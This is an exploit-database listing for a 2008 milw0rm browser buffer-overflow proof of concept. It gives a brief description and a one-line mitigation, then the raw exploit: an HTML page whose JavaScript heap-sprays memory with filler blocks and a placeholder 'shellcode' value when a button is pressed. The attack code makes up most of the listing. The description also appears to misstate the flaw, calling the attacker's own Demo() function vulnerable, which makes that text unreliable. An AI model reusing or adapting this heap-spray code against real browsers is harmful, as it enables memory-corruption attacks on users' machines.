header-logo
Suggest Exploit
vendor:
N/A
by:
milw0rm.com
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Buffer Overflow in Demo() Function

A buffer overflow vulnerability exists in the Demo() function of the given code. The vulnerability is caused due to the lack of proper input validation when handling user-supplied data. An attacker can exploit this vulnerability by supplying a large amount of data to the Demo() function, which can cause a buffer overflow and potentially allow arbitrary code execution.

Mitigation:

Input validation should be performed to ensure that user-supplied data does not exceed the expected size.
Source

Exploit-DB raw data:

<html><body><script>

function Demo() {

	var shellcode;
	var addr;
	var fill;
			
	alert('attempting a crash!');
	shellcode = unescape('%u0c0c');
	fill = unescape('%ucccc');
	addr = 0x02020202;
		
	var b = fill;
	while (b.length <= 0x40000) b+=b;

	var c = new Array();
	for (var i =0; i<36; i++) {
		c[i] = 
			b.substring(0,  0x100000 - shellcode.length) + shellcode +
			b.substring(0,  0x100000 - shellcode.length) + shellcode + 
			b.substring(0,  0x100000 - shellcode.length) + shellcode + 
			b.substring(0,  0x100000 - shellcode.length) + shellcode;
	}
	
}

</script>

<input type='button' onClick='Demo()' value='Go!'>

</body></html>

# milw0rm.com [2008-01-24]